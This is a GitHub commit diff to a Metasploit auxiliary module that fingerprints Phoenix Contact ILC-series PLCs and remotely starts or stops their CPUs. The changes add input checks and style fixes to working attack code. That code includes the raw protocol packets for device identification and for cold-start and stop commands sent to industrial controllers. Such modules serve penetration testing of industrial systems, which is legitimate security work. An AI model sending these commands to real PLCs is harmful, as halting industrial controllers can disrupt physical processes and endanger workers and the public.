Skip to content

Commit 552b672

Browse files
committed
Merge pull request #1 from bcook-r7/land-6885-
Fixes for rapid7#6885
2 parents 36a9ef8 + 266d29c commit 552b672

File tree

1 file changed

+30
-22
lines changed

1 file changed

+30
-22
lines changed

modules/auxiliary/admin/scada/phoenix_command.rb

Lines changed: 30 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77

88
class MetasploitModule < Msf::Auxiliary
9-
109
include Msf::Exploit::Remote::Tcp
1110
include Rex::Socket::Tcp
1211

@@ -71,11 +70,21 @@ def send_recv_once(data)
7170
end
7271

7372
def get_info(rhost, rport)
74-
connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
75-
code = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")[34..35]
73+
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
74+
data = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")
75+
if data.nil? || data.length < 36
76+
print_error("Could not obtain information on this device")
77+
disconnect
78+
return "UNKNOWN"
79+
end
80+
code = data[34..35]
7681
send_recv_once("\x01\x05\x00\x16\x00\x5f\x00\x00\x08\xef\x00" + hex_to_bin(code) + "\x00\x00\x00\x22\x00\x04\x02\x95\x00\x00")
7782
data = send_recv_once("\x01\x06\x00\x0e\x00\x61\x00\x00\x88\x11\x00" + hex_to_bin(code) + "\x04\x00")
7883
disconnect
84+
if data.nil? || data.length < 200
85+
print_error("Could not obtain information on this device")
86+
return "UNKNOWN"
87+
end
7988
plctype = hex_to_bin(data[60..99])
8089
print_status("PLC Type = " + plctype)
8190
print_status("Firmware = " + hex_to_bin(data[132..139]))
@@ -119,17 +128,17 @@ def init_phase2
119128
end
120129

121130
def get_state1(data)
122-
if data[48..49] == '03'
123-
state = 'RUN'
124-
elsif data[48..49] == '07'
125-
state = 'STOP'
126-
elsif data[49..49] == '00'
127-
state = 'ON'
128-
else
129-
print_error('CPU State not detected, full result is ' + data)
130-
return
131-
end
132-
state
131+
if data[48..49] == '03'
132+
state = 'RUN'
133+
elsif data[48..49] == '07'
134+
state = 'STOP'
135+
elsif data[49..49] == '00'
136+
state = 'ON'
137+
else
138+
print_error('CPU State not detected, full result is ' + data)
139+
return
140+
end
141+
state
133142
end
134143

135144
def get_state2(data)
@@ -145,7 +154,7 @@ def get_state2(data)
145154
end
146155

147156
def get_cpu(rhost, rport, devicetype)
148-
connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
157+
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
149158
state = 'unknown'
150159
if devicetype == '15x'
151160
init_phase1
@@ -165,11 +174,11 @@ def get_cpu(rhost, rport, devicetype)
165174
end
166175

167176
def set_cpu(rhost, rport, action, state, devicetype)
168-
connect(true, {'RHOST'=>rhost, 'RPORT'=>rport})
177+
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
169178
if devicetype == '15x'
170179
init_phase1 ## Several packets (21)
171180
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
172-
if action == 'START' or (action == 'REV' and state == 'STOP')
181+
if action == 'START' || (action == 'REV' && state == 'STOP')
173182
print_status('--> Sending COLD start now')
174183
send_recv_once("\x01\x00\x02\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x01\x00")
175184
else
@@ -178,7 +187,7 @@ def set_cpu(rhost, rport, action, state, devicetype)
178187
end
179188
elsif devicetype == '39x'
180189
init_phase2 ## Several packets (6)
181-
if action == 'START' or (action == 'REV' and state == 'STOP')
190+
if action == 'START' || (action == 'REV' && state == 'STOP')
182191
print_status('--> Sending COLD start now')
183192
send_recv_once("\xcc\x01\x00\x04\x40\x0e\x00\x00\x18\x21")
184193
else
@@ -201,10 +210,10 @@ def run
201210

202211
device = get_info(rhost, datastore['RINFOPORT'])
203212

204-
if device.start_with?('ILC 15') or device.start_with?('ILC 17')
213+
if device.start_with?('ILC 15', 'ILC 17')
205214
devicetype = '15x'
206215
print_status('--> Detected 15x/17x series, getting current CPU state:')
207-
ractionport == 0 ? (rport = 41100) : (rport = ractionport)
216+
ractionport == 0 ? (rport = 41100) : (rport = ractionport)
208217
elsif device.start_with?('ILC 39')
209218
devicetype = '39x'
210219
print_status('--> Detected 39x series, getting current CPU state:')
@@ -218,11 +227,10 @@ def run
218227
print_status('------------------------------------')
219228

220229
if action == "NOOP"
221-
print_status('--> No action specified (' + action + '), stopping here')
230+
print_status("--> No action specified (#{action}), stopping here")
222231
return
223232
end
224233

225234
set_cpu(rhost, rport, action, state, devicetype)
226235
end
227236
end
228-

0 commit comments

Comments
 (0)